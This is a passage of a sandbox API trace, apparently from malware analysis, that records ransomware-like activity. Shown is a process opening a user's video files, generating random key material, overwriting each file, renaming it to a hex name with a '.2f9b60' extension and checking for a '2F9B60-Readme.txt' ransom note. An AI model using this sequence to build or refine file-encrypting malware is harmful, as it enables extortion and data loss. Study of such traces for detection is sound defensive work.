VddUU1HL\\-aeSmM1BjIs1zM.flv", dwFileAttributes=0x20) returned 1 [0099.279] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\-aeSmM1BjIs1zM.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\-aesmm1bjis1zm.flv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1544 [0099.279] GetFileSizeEx (in: hFile=0x1544, lpFileSize=0x23eafe20 | out: lpFileSize=0x23eafe20*=13559) returned 1 [0099.279] SetFilePointerEx (in: hFile=0x1544, liDistanceToMove=0x34f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.279] ReadFile (in: hFile=0x1544, lpBuffer=0x23eafda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23eafde8, lpOverlapped=0x0 | out: lpBuffer=0x23eafda0*, lpNumberOfBytesRead=0x23eafde8*=0x4, lpOverlapped=0x0) returned 1 [0099.280] SetFilePointerEx (in: hFile=0x1544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b350 [0099.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b410 [0099.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261940 [0099.280] NtQuerySystemTime (in: CurrentTime=0x23eafce0 | out: CurrentTime=0x23eafce0*=132462177048082000) returned 0x0 [0099.280] RtlRandomEx (in: Seed=0x23eafcd0 | out: Seed=0x23eafcd0) returned 0x92aecc8 [0099.280] RtlRandomEx (in: Seed=0x23eafcd0 | out: Seed=0x23eafcd0) returned 0x80b98e8 [0099.280] RtlRandomEx (in: Seed=0x23eafcd0 | out: Seed=0x23eafcd0) returned 0x30e47c0 [0099.280] RtlRandomEx (in: Seed=0x23eafcd0 | out: Seed=0x23eafcd0) returned 0x769d00ed [0099.280] RtlRandomEx (in: Seed=0x23eafcd0 | out: Seed=0x23eafcd0) returned 0x7dca4b2c [0099.280] RtlRandomEx (in: Seed=0x23eafcd0 | out: Seed=0x23eafcd0) returned 0x479de3fa [0099.280] RtlRandomEx (in: Seed=0x23eafcd0 | out: Seed=0x23eafcd0) returned 0x455a2f4 [0099.280] RtlRandomEx (in: Seed=0x23eafcd0 | out: Seed=0x23eafcd0) returned 0x4e867fcc [0099.280] RtlRandomEx (in: Seed=0x23eafcd0 | out: Seed=0x23eafcd0) returned 0xeea4442 [0099.280] RtlRandomEx (in: Seed=0x23eafcd0 | out: Seed=0x23eafcd0) returned 0x732149bf [0099.280] RtlRandomEx (in: Seed=0x23eafcd0 | out: Seed=0x23eafcd0) returned 0x590297fa [0099.280] RtlRandomEx (in: Seed=0x23eafcd0 | out: Seed=0x23eafcd0) returned 0x14f1bed0 [0099.281] RtlRandomEx (in: Seed=0x23eafcd0 | out: Seed=0x23eafcd0) returned 0x6872683e [0099.281] RtlRandomEx (in: Seed=0x23eafcd0 | out: Seed=0x23eafcd0) returned 0x73d5544e [0099.281] RtlRandomEx (in: Seed=0x23eafcd0 | out: Seed=0x23eafcd0) returned 0x7b0e13fc [0099.281] RtlRandomEx (in: Seed=0x23eafcd0 | out: Seed=0x23eafcd0) returned 0x1349c807 [0099.281] RtlRandomEx (in: Seed=0x23eafcd0 | out: Seed=0x23eafcd0) returned 0x23dd23f2 [0099.281] RtlRandomEx (in: Seed=0x23eafcd0 | out: Seed=0x23eafcd0) returned 0x57428bc7 [0099.281] RtlRandomEx (in: Seed=0x23eafcd0 | out: Seed=0x23eafcd0) returned 0x18b704af [0099.281] RtlRandomEx (in: Seed=0x23eafcd0 | out: Seed=0x23eafcd0) returned 0x1f54c784 [0099.281] RtlRandomEx (in: Seed=0x23eafcd0 | out: Seed=0x23eafcd0) returned 0x6d9ce437 [0099.281] RtlRandomEx (in: Seed=0x23eafcd0 | out: Seed=0x23eafcd0) returned 0xcd59186 [0099.281] RtlRandomEx (in: Seed=0x23eafcd0 | out: Seed=0x23eafcd0) returned 0x5bb6abc5 [0099.281] RtlRandomEx (in: Seed=0x23eafcd0 | out: Seed=0x23eafcd0) returned 0x3dd15023 [0099.281] RtlRandomEx (in: Seed=0x23eafcd0 | out: Seed=0x23eafcd0) returned 0x11d9f3ad [0099.281] RtlRandomEx (in: Seed=0x23eafcd0 | out: Seed=0x23eafcd0) returned 0x6ef53e [0099.281] RtlRandomEx (in: Seed=0x23eafcd0 | out: Seed=0x23eafcd0) returned 0x2fdb896e [0099.281] RtlRandomEx (in: Seed=0x23eafcd0 | out: Seed=0x23eafcd0) returned 0x3dcf6ea8 [0099.281] RtlRandomEx (in: Seed=0x23eafcd0 | out: Seed=0x23eafcd0) returned 0xfd314b6 [0099.281] RtlRandomEx (in: Seed=0x23eafcd0 | out: Seed=0x23eafcd0) returned 0x244d3aea [0099.281] RtlRandomEx (in: Seed=0x23eafcd0 | out: Seed=0x23eafcd0) returned 0x3a881138 [0099.281] RtlRandomEx (in: Seed=0x23eafcd0 | out: Seed=0x23eafcd0) returned 0x2522162e [0099.290] ReadFile (in: hFile=0x1544, lpBuffer=0x201f5950, nNumberOfBytesToRead=0x34f7, lpNumberOfBytesRead=0x23eafcd0, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesRead=0x23eafcd0*=0x34f7, lpOverlapped=0x0) returned 1 [0099.291] SetFilePointerEx (in: hFile=0x1544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.291] WriteFile (in: hFile=0x1544, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x34f7, lpNumberOfBytesWritten=0x23eafcd4, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x23eafcd4*=0x34f7, lpOverlapped=0x0) returned 1 [0100.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e00 [0100.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e90 [0100.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263e90) returned 1 [0100.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0100.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f5950) returned 1 [0100.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8673c0) returned 1 [0100.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0100.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9eef0 [0100.962] SetFilePointerEx (in: hFile=0x1544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.962] WriteFile (in: hFile=0x1544, lpBuffer=0x420600b0*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x23eafdf0, lpOverlapped=0x0 | out: lpBuffer=0x420600b0*, lpNumberOfBytesWritten=0x23eafdf0*=0x116, lpOverlapped=0x0) returned 1 [0101.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0101.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869b40 [0101.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0101.897] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e50) returned 1 [0101.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b859e50 [0101.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a330 [0101.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a3c0 [0101.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a3c0) returned 1 [0101.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869b40) returned 1 [0101.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0101.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x1cd9c190 [0101.898] sprintf (in: _Dest=0x1cd9c190, _Format="%c%c" | out: _Dest="56") returned 2 [0101.898] sprintf (in: _Dest=0x1cd9c192, _Format="%c%c" | out: _Dest="d2") returned 2 [0101.898] sprintf (in: _Dest=0x1cd9c194, _Format="%c%c" | out: _Dest="81") returned 2 [0101.898] sprintf (in: _Dest=0x1cd9c196, _Format="%c%c" | out: _Dest="ad") returned 2 [0101.898] sprintf (in: _Dest=0x1cd9c198, _Format="%c%c" | out: _Dest="9d") returned 2 [0101.898] sprintf (in: _Dest=0x1cd9c19a, _Format="%c%c" | out: _Dest="6f") returned 2 [0101.898] sprintf (in: _Dest=0x1cd9c19c, _Format="%c%c" | out: _Dest="e4") returned 2 [0101.898] sprintf (in: _Dest=0x1cd9c19e, _Format="%c%c" | out: _Dest="c6") returned 2 [0101.898] sprintf (in: _Dest=0x1cd9c1a0, _Format="%c%c" | out: _Dest="8c") returned 2 [0101.899] sprintf (in: _Dest=0x1cd9c1a2, _Format="%c%c" | out: _Dest="3f") returned 2 [0101.899] sprintf (in: _Dest=0x1cd9c1a4, _Format="%c%c" | out: _Dest="52") returned 2 [0101.899] sprintf (in: _Dest=0x1cd9c1a6, _Format="%c%c" | out: _Dest="a1") returned 2 [0101.899] sprintf (in: _Dest=0x1cd9c1a8, _Format="%c%c" | out: _Dest="b5") returned 2 [0101.899] sprintf (in: _Dest=0x1cd9c1aa, _Format="%c%c" | out: _Dest="52") returned 2 [0101.899] sprintf (in: _Dest=0x1cd9c1ac, _Format="%c%c" | out: _Dest="67") returned 2 [0101.899] sprintf (in: _Dest=0x1cd9c1ae, _Format="%c%c" | out: _Dest="bb") returned 2 [0101.899] sprintf (in: _Dest=0x1cd9c1b0, _Format="%c%c" | out: _Dest="63") returned 2 [0101.899] sprintf (in: _Dest=0x1cd9c1b2, _Format="%c%c" | out: _Dest="49") returned 2 [0101.899] sprintf (in: _Dest=0x1cd9c1b4, _Format="%c%c" | out: _Dest="30") returned 2 [0101.899] sprintf (in: _Dest=0x1cd9c1b6, _Format="%c%c" | out: _Dest="17") returned 2 [0101.899] sprintf (in: _Dest=0x1cd9c1b8, _Format="%c%c" | out: _Dest="30") returned 2 [0101.899] sprintf (in: _Dest=0x1cd9c1ba, _Format="%c%c" | out: _Dest="6e") returned 2 [0101.899] sprintf (in: _Dest=0x1cd9c1bc, _Format="%c%c" | out: _Dest="9f") returned 2 [0101.899] sprintf (in: _Dest=0x1cd9c1be, _Format="%c%c" | out: _Dest="b8") returned 2 [0101.899] sprintf (in: _Dest=0x1cd9c1c0, _Format="%c%c" | out: _Dest="06") returned 2 [0101.899] sprintf (in: _Dest=0x1cd9c1c2, _Format="%c%c" | out: _Dest="d5") returned 2 [0101.899] sprintf (in: _Dest=0x1cd9c1c4, _Format="%c%c" | out: _Dest="54") returned 2 [0101.900] sprintf (in: _Dest=0x1cd9c1c6, _Format="%c%c" | out: _Dest="78") returned 2 [0101.900] sprintf (in: _Dest=0x1cd9c1c8, _Format="%c%c" | out: _Dest="ce") returned 2 [0101.900] sprintf (in: _Dest=0x1cd9c1ca, _Format="%c%c" | out: _Dest="76") returned 2 [0101.900] sprintf (in: _Dest=0x1cd9c1cc, _Format="%c%c" | out: _Dest="2c") returned 2 [0101.900] sprintf (in: _Dest=0x1cd9c1ce, _Format="%c%c" | out: _Dest="8f") returned 2 [0101.900] sprintf (in: _Dest=0x1cd9c1d0, _Format="%c%c" | out: _Dest="94") returned 2 [0101.900] sprintf (in: _Dest=0x1cd9c1d2, _Format="%c%c" | out: _Dest="d7") returned 2 [0101.900] sprintf (in: _Dest=0x1cd9c1d4, _Format="%c%c" | out: _Dest="89") returned 2 [0101.900] sprintf (in: _Dest=0x1cd9c1d6, _Format="%c%c" | out: _Dest="ba") returned 2 [0101.900] RtlInitAnsiString (in: DestinationString=0x23eafe68, SourceString="56d281ad9d6fe4c68c3f52a1b55267bb63493017306e9fb806d55478ce762c8f94d789ba" | out: DestinationString="56d281ad9d6fe4c68c3f52a1b55267bb63493017306e9fb806d55478ce762c8f94d789ba") [0101.900] RtlAnsiStringToUnicodeString (in: DestinationString=0x23eafe38, SourceString="56d281ad9d6fe4c68c3f52a1b55267bb63493017306e9fb806d55478ce762c8f94d789ba", AllocateDestinationString=1 | out: DestinationString="56d281ad9d6fe4c68c3f52a1b55267bb63493017306e9fb806d55478ce762c8f94d789ba") returned 0x0 [0101.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x202b1c30 [0101.900] wcscat (in: _Dest=0x2050ba00, _Source="56d281ad9d6fe4c68c" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\56d281ad9d6fe4c68c") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\56d281ad9d6fe4c68c" [0101.900] wcscat (in: _Dest=0x2050ba00, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\56d281ad9d6fe4c68c.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\56d281ad9d6fe4c68c.2f9b60" [0101.900] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\56d281ad9d6fe4c68c.2f9b60", NtPathName=0x23eafe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\56d281ad9d6fe4c68c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0101.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x119310 [0107.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119310) returned 1 [0107.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ec70) returned 1 [0107.360] NtQueryInformationFile (in: FileHandle=0x1544, IoStatusBlock=0x23eafe78, FileInformation=0x23eafe88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x23eafe78, FileInformation=0x23eafe88) returned 0x0 [0107.360] NtSetInformationFile (FileHandle=0x1544, IoStatusBlock=0x23eafe78, FileInformation=0x23eafe88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0107.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ba00) returned 1 [0107.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1c30) returned 1 [0107.361] FlushFileBuffers (hFile=0x1544) returned 1 [0107.469] CloseHandle (hObject=0x1544) returned 1 [0107.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x2027a470 [0107.470] wcscpy (in: _Dest=0x2027a470, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" [0107.470] wcscat (in: _Dest=0x2027a470, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt" [0107.470] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\2f9b60-readme.txt")) returned 0x20 [0107.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a470) returned 1 [0107.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad700) returned 1 Thread: id = 835 os_tid = 0x13f0 [0099.301] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\4YF49bsCr1sEr.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\4yf49bscr1ser.avi")) returned 0x20 [0099.301] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\4YF49bsCr1sEr.avi", dwFileAttributes=0x20) returned 1 [0099.301] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\4YF49bsCr1sEr.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\4yf49bscr1ser.avi"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1548 [0099.302] GetFileSizeEx (in: hFile=0x1548, lpFileSize=0x1f74f780 | out: lpFileSize=0x1f74f780*=35721) returned 1 [0099.302] SetFilePointerEx (in: hFile=0x1548, liDistanceToMove=0x8b85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.302] ReadFile (in: hFile=0x1548, lpBuffer=0x1f74f700, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f74f748, lpOverlapped=0x0 | out: lpBuffer=0x1f74f700*, lpNumberOfBytesRead=0x1f74f748*=0x4, lpOverlapped=0x0) returned 1 [0099.303] SetFilePointerEx (in: hFile=0x1548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b350 [0099.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261940 [0099.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202619d0 [0099.304] NtQuerySystemTime (in: CurrentTime=0x1f74f640 | out: CurrentTime=0x1f74f640*=132462177048238000) returned 0x0 [0099.304] RtlRandomEx (in: Seed=0x1f74f630 | out: Seed=0x1f74f630) returned 0x52c877b6 [0099.304] RtlRandomEx (in: Seed=0x1f74f630 | out: Seed=0x1f74f630) returned 0x3c898695 [0099.304] RtlRandomEx (in: Seed=0x1f74f630 | out: Seed=0x1f74f630) returned 0xbbc2e02 [0099.304] RtlRandomEx (in: Seed=0x1f74f630 | out: Seed=0x1f74f630) returned 0x24cfef43 [0099.304] RtlRandomEx (in: Seed=0x1f74f630 | out: Seed=0x1f74f630) returned 0x6a63cbba [0099.304] RtlRandomEx (in: Seed=0x1f74f630 | out: Seed=0x1f74f630) returned 0x400057a8 [0099.304] RtlRandomEx (in: Seed=0x1f74f630 | out: Seed=0x1f74f630) returned 0x4300e8bb [0099.304] RtlRandomEx (in: Seed=0x1f74f630 | out: Seed=0x1f74f630) returned 0x28f5ef09 [0099.304] RtlRandomEx (in: Seed=0x1f74f630 | out: Seed=0x1f74f630) returned 0x2fc8011e [0099.304] RtlRandomEx (in: Seed=0x1f74f630 | out: Seed=0x1f74f630) returned 0x258776dd [0099.304] RtlRandomEx (in: Seed=0x1f74f630 | out: Seed=0x1f74f630) returned 0x76e5f825 [0099.304] RtlRandomEx (in: Seed=0x1f74f630 | out: Seed=0x1f74f630) returned 0x9f3d6b6 [0099.304] RtlRandomEx (in: Seed=0x1f74f630 | out: Seed=0x1f74f630) returned 0x3e548941 [0099.304] RtlRandomEx (in: Seed=0x1f74f630 | out: Seed=0x1f74f630) returned 0x79216e6c [0099.304] RtlRandomEx (in: Seed=0x1f74f630 | out: Seed=0x1f74f630) returned 0x25da0cb9 [0099.304] RtlRandomEx (in: Seed=0x1f74f630 | out: Seed=0x1f74f630) returned 0x7e64161c [0099.304] RtlRandomEx (in: Seed=0x1f74f630 | out: Seed=0x1f74f630) returned 0x61d09f91 [0099.304] RtlRandomEx (in: Seed=0x1f74f630 | out: Seed=0x1f74f630) returned 0x30cbf37c [0099.304] RtlRandomEx (in: Seed=0x1f74f630 | out: Seed=0x1f74f630) returned 0x12f559cf [0099.304] RtlRandomEx (in: Seed=0x1f74f630 | out: Seed=0x1f74f630) returned 0x6f2f3f72 [0099.304] RtlRandomEx (in: Seed=0x1f74f630 | out: Seed=0x1f74f630) returned 0x62fdbadd [0099.305] RtlRandomEx (in: Seed=0x1f74f630 | out: Seed=0x1f74f630) returned 0x5df28f5c [0099.305] RtlRandomEx (in: Seed=0x1f74f630 | out: Seed=0x1f74f630) returned 0x33c27c14 [0099.305] RtlRandomEx (in: Seed=0x1f74f630 | out: Seed=0x1f74f630) returned 0x3bb9b02f [0099.305] RtlRandomEx (in: Seed=0x1f74f630 | out: Seed=0x1f74f630) returned 0x16b8baaa [0099.305] RtlRandomEx (in: Seed=0x1f74f630 | out: Seed=0x1f74f630) returned 0x2abfaf33 [0099.305] RtlRandomEx (in: Seed=0x1f74f630 | out: Seed=0x1f74f630) returned 0x6c4935ab [0099.305] RtlRandomEx (in: Seed=0x1f74f630 | out: Seed=0x1f74f630) returned 0x1ea51a6e [0099.305] RtlRandomEx (in: Seed=0x1f74f630 | out: Seed=0x1f74f630) returned 0x4af7f3d6 [0099.305] RtlRandomEx (in: Seed=0x1f74f630 | out: Seed=0x1f74f630) returned 0x4e8b6a2f [0099.305] RtlRandomEx (in: Seed=0x1f74f630 | out: Seed=0x1f74f630) returned 0x7913176b [0099.305] RtlRandomEx (in: Seed=0x1f74f630 | out: Seed=0x1f74f630) returned 0x51e9634f [0099.329] SetFilePointerEx (in: hFile=0x1548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.329] ReadFile (in: hFile=0x1548, lpBuffer=0x202bd4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1f74f6a0, lpOverlapped=0x0 | out: lpBuffer=0x202bd4e0*, lpNumberOfBytesRead=0x1f74f6a0*=0x3c00, lpOverlapped=0x0) returned 1 [0099.329] SetFilePointerEx (in: hFile=0x1548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0099.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0099.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b350 [0099.330] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b350) returned 1 [0099.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202c10f0 [0099.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b350 [0099.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202619d0 [0099.330] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202619d0) returned 1 [0099.330] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0099.330] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0099.330] WriteFile (in: hFile=0x1548, lpBuffer=0x202c10f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1f74f6a0, lpOverlapped=0x0 | out: lpBuffer=0x202c10f0*, lpNumberOfBytesWritten=0x1f74f6a0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202c10f0) returned 1 [0100.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202bd4e0) returned 1 [0100.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9f670 [0100.650] SetFilePointerEx (in: hFile=0x1548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.650] WriteFile (in: hFile=0x1548, lpBuffer=0x116640*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x1f74f750, lpOverlapped=0x0 | out: lpBuffer=0x116640*, lpNumberOfBytesWritten=0x1f74f750*=0x114, lpOverlapped=0x0) returned 1 [0100.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0100.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8673c0 [0100.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262a50 [0100.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262a50) returned 1 [0100.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x20262a50 [0100.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262a20 [0100.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262960 [0100.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262960) returned 1 [0100.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8673c0) returned 1 [0100.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0100.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1cd97350 [0100.702] sprintf (in: _Dest=0x1cd97350, _Format="%c%c" | out: _Dest="32") returned 2 [0100.702] sprintf (in: _Dest=0x1cd97352, _Format="%c%c" | out: _Dest="c8") returned 2 [0100.702] sprintf (in: _Dest=0x1cd97354, _Format="%c%c" | out: _Dest="58") returned 2 [0100.702] sprintf (in: _Dest=0x1cd97356, _Format="%c%c" | out: _Dest="34") returned 2 [0100.702] sprintf (in: _Dest=0x1cd97358, _Format="%c%c" | out: _Dest="76") returned 2 [0100.702] sprintf (in: _Dest=0x1cd9735a, _Format="%c%c" | out: _Dest="db") returned 2 [0100.702] sprintf (in: _Dest=0x1cd9735c, _Format="%c%c" | out: _Dest="7c") returned 2 [0100.702] sprintf (in: _Dest=0x1cd9735e, _Format="%c%c" | out: _Dest="73") returned 2 [0100.702] sprintf (in: _Dest=0x1cd97360, _Format="%c%c" | out: _Dest="81") returned 2 [0100.703] sprintf (in: _Dest=0x1cd97362, _Format="%c%c" | out: _Dest="22") returned 2 [0100.703] sprintf (in: _Dest=0x1cd97364, _Format="%c%c" | out: _Dest="26") returned 2 [0100.703] sprintf (in: _Dest=0x1cd97366, _Format="%c%c" | out: _Dest="71") returned 2 [0100.703] sprintf (in: _Dest=0x1cd97368, _Format="%c%c" | out: _Dest="63") returned 2 [0100.703] sprintf (in: _Dest=0x1cd9736a, _Format="%c%c" | out: _Dest="5e") returned 2 [0100.703] sprintf (in: _Dest=0x1cd9736c, _Format="%c%c" | out: _Dest="c6") returned 2 [0100.703] sprintf (in: _Dest=0x1cd9736e, _Format="%c%c" | out: _Dest="f7") returned 2 [0100.703] sprintf (in: _Dest=0x1cd97370, _Format="%c%c" | out: _Dest="ab") returned 2 [0100.703] sprintf (in: _Dest=0x1cd97372, _Format="%c%c" | out: _Dest="5d") returned 2 [0100.703] sprintf (in: _Dest=0x1cd97374, _Format="%c%c" | out: _Dest="36") returned 2 [0100.703] sprintf (in: _Dest=0x1cd97376, _Format="%c%c" | out: _Dest="c5") returned 2 [0100.703] sprintf (in: _Dest=0x1cd97378, _Format="%c%c" | out: _Dest="d6") returned 2 [0100.703] sprintf (in: _Dest=0x1cd9737a, _Format="%c%c" | out: _Dest="a3") returned 2 [0100.703] sprintf (in: _Dest=0x1cd9737c, _Format="%c%c" | out: _Dest="f0") returned 2 [0100.703] sprintf (in: _Dest=0x1cd9737e, _Format="%c%c" | out: _Dest="b7") returned 2 [0100.703] sprintf (in: _Dest=0x1cd97380, _Format="%c%c" | out: _Dest="47") returned 2 [0100.703] sprintf (in: _Dest=0x1cd97382, _Format="%c%c" | out: _Dest="5a") returned 2 [0100.703] sprintf (in: _Dest=0x1cd97384, _Format="%c%c" | out: _Dest="65") returned 2 [0100.703] sprintf 